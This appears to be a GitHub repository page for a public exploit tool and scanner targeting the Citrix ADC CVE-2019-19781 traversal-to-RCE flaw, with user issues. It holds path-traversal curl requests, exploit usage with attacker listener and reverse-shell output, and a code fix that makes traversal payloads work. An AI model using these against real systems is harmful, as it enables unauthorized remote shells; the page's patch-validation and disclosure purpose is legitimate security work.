trustedsec / cve-2019-19781

This is a tool published for the Citrix ADC (NetScaler) vulnerability. We are only disclosing this due to others publishing the exploit code first.

CVE-2019-19781

This was only uploaded due to other researchers publishing their code first. We would have hoped to have had this hidden for awhile longer while defenders had appropriate time to patch their systems.

We are all for responsible disclosure, in this case - the cat was already out of the bag.

Exploits: CVE-2019-19781

Citrixmash (CVE-2019-19781 exploit)

root@stronghold-nix:/home/relik/Desktop/git/cve-2019-19781# python citrixmash.py

Citrixmash v0.1 - Exploits the Citrix Directory Traversal Bug: CVE-2019-19781 Tool Written by: Rob Simon and Dave Kennedy Contributions: The TrustedSec Team Website: https://www.trustedsec.com INFO: https://www.trustedsec.com/blog/critical-exposure-in-citrix-adc-netscaler-unauthenticated-remote-code-execution/ Forensics and IOCS: https://www.trustedsec.com/blog/netscaler-remote-code-execution-forensics/

This tool exploits a directory traversal bug within Citrix ADC (NetScalers) which calls a perl script that is used to append files in an XML format to the victim machine. This in turn allows for remote code execution.

Be sure to cleanup these two file locations: /var/tmp/netscaler/portal/templates/ /netscaler/portal/templates/

Note that DNS hostnames and IP addresses are supported in victimaddress and attackerip_listener fields.

Usage:

python citrixmash.py <attackerip_listener> <attacker_port>

usage: citrixmash.py [-h] target targetport attackerip attackerport

CVE-2019-19781 Scanner

This is a simple test to see if the server is still vulnerable to CVE-2019-19781.

Usage: python3 cve-2019-19781.py

Note you can use CIDR notations such as 192.168.1.1/24 and hostnames as well.

It will result if the server is still vulnerable or not. You can only do one server at a time.

CVE-2019-19781-Scanner Company: TrustedSec Written by: Dave Kennedy This will look to see if the remote system is still vulnerable to CVE-2019-19781. This will only scan one host at a time. You can use CIDR notations as well for example: 192.168.1.1/24 You can use hostnames instead of IP addresses also. You can also use a file with IP addresses generated by an external tool.

Example: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 Example2: python3 cve-2019-19781_scanner.py 192.168.1.1 443 Example3: python3 cve-2019-19781_scanner.py fakewebsiteaddress.com 443 Example4: python3 cve-2019-19781_scanner.py as15169 443 Example5: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 verbose Example6: python3 cve-2019-19781_scanner.py file:hostfile 443

Usage: python3 cve-2019-19781_scanner.py targetip targetport

usage: cve-2019-19781_scanner.py [-h] target targetport [verbose]

Manually Validate Patch

If you want to test to see if this exposure is mitigated use the following:

curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is

Or if you are using non public or internal enterprise CA, you can override using the --insecure option

curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is --insecure

Either a 403 means that you are patched or if it returns a Citrix website and NOT the smb.conf file itself.

If you can see smb.conf, then you are vulnerable.

Installation

To install the requirements, you will need to run the command below.

pip3 install -r requirements.txt

cve-2019-19781's Issues

timeout error

root@debian-recon:~/cve-2019-19781# python cve-2019-19781_scanner.py 67.109.188.129 443

Traceback (most recent call last):
  File "cve-2019-19781_scanner.py", line 79, in <module>
    else: check_server(args.target, args.targetport)
  File "cve-2019-19781_scanner.py", line 24, in check_server
    req = requests.get("https://%s:%s/vpn/../vpns/cfg/smb.conf" % (target,targetport), verify=False, timeout=2)
  File "/usr/lib/python2.7/dist-packages/requests/api.py", line 75, in get
    return request('get', url, params=params, **kwargs)
  File "/usr/lib/python2.7/dist-packages/requests/api.py", line 60, in request
    return session.request(method=method, url=url, **kwargs)
  File "/usr/lib/python2.7/dist-packages/requests/sessions.py", line 533, in request
    resp = self.send(prep, **send_kwargs)
  File "/usr/lib/python2.7/dist-packages/requests/sessions.py", line 646, in send
    r = adapter.send(request, **kwargs)
  File "/usr/lib/python2.7/dist-packages/requests/adapters.py", line 529, in send
    raise ReadTimeout(e, request=request)
requests.exceptions.ReadTimeout: HTTPSConnectionPool(host='67.109.188.129', port=443): Read timed out. (read timeout=2)

TLS/SSL failure not checked thoroughly

There is no cipher result check when a system fails TLS/SSL negotiation, for example. It creates a false positive as python gets an error and your check shows "did not respond" . We were comparing the results of this with some other scanning tools and noticed the difference. Real error like TLSv1 shows "bad handshake ... unsupported protocol". I am not into python so I don't know if there is an option to force renegotiation/downgrade or if the error response should include "server responded with invalid ssl".

Citrix ADC VPX Release 13.0 - python not in the PATH

For Citrix ADC VPX Release 13.0 python is not in the $PATH which makes payload execution failing.

$ env
HOME=/
FLEXLM_ANYHOSTNAME=1
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/netscaler
PWD=/
$ python
python: not found

It is required to change payload to use python from /var/python/bin/python.

Shell does not connect

Hi,

Thanks for your research on this.

After running exploit it fires and I can confirm that the .xml artefact (tnnwzvreuu.xml) is created on the disk but the shell does not connect (listener created with nc -vlk 443)

[*] Saving filename as tnnwzvreuu.xml on the victim machine...
[*] Sleeping for 2 seconds to ensure file is written before we call it...
[*] Triggering GET request for the newly created file with a listener waiting...
[*] Shell should now be in your listener... enjoy. Keep this window open..
[!] Be sure to cleanup the two locations here (artifacts): /var/tmp/netscaler/portal/templates/, /netscaler/portal/templates/

Script output says 'Keep this window open' yet it bombs straight back out of the command and is not in a 'waiting' state.

Can confirm system is vulnerable as command below returns the smb.conf file:
curl -vk --path-as-is https://obfuscatedtargetip/vpn/../vpns/cfg/smb.conf

And:
curl -vk --path-as-is https://obfuscatedtargetip/vpn/../vpns/

Returns:

> Accept: */*
> 
< HTTP/1.1 403 Forbidden
< Date: Sat, 11 Jan 2020 14:01:13 GMT
< Server: Apache
< Content-Length: 207
< Content-Type: text/html; charset=iso-8859-1
< 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /vpns/
on this server.</p>
</body></html>

Have confirmed outbound traffic is allowed to destination nc listener on 443.

Any assistance

Traceback running cve-2019-19781_scanner.py

Hi,

Thanks for the hard work in getting this done... Unfortunately I'm getting a Traceback as below on both MacOS Catalina and Ubuntu 18.04 using python3. I've tried an IP and a URL - Any other suggestions?

Traceback (most recent call last):
File "cve-2019-19781_scanner.py", line 75, in
check_server(args.target, args.targetport)
File "cve-2019-19781_scanner.py", line 23, in check_server
if ("global") in req.content: # each smb.conf will contain a [global] variable
TypeError: a bytes-like object is required, not 'str'

Thanks!

The test results are not accurate

The result of cve-2019-19781_scanner.py is still vulnerable but citrixmash.py is not successful.I tried many

Scanner gives false negatives

Scanner gives false negative results, but manually curling gives the smb.

Scanner produces too many false positive

The scanner produces too many false positives. The scanner does not even check the server's response code returned. It just checks some patterns in server's response contents.

Path normalization

The current version of urllib3 normalizes the request path when using the python requests module like this:

requests.get('http://server/vpn/../vpns/newbm.pl')

This will result in the request getting normalised to:

GET /vpns/newbm.pl

The impact is that if you are running the latest urllib3/python3 then the exploit will fail on Virtual IP interfaces but not on management interfaces (since traversal is not required there).

The scanner check won't lead to false negatives, because although the path is normalized, it will still hit the /vpns/ path which is blocked in the mitigation.

The fix is to use PreparedRequests and swap the URL out after normalization:

s = requests.Session()
url = "http://%s:%s/vpn/../vpns/cfg/smb.conf" % (target,targetport)
r = requests.Request(method='GET', url=url)
prep = r.prepare()
prep.url = url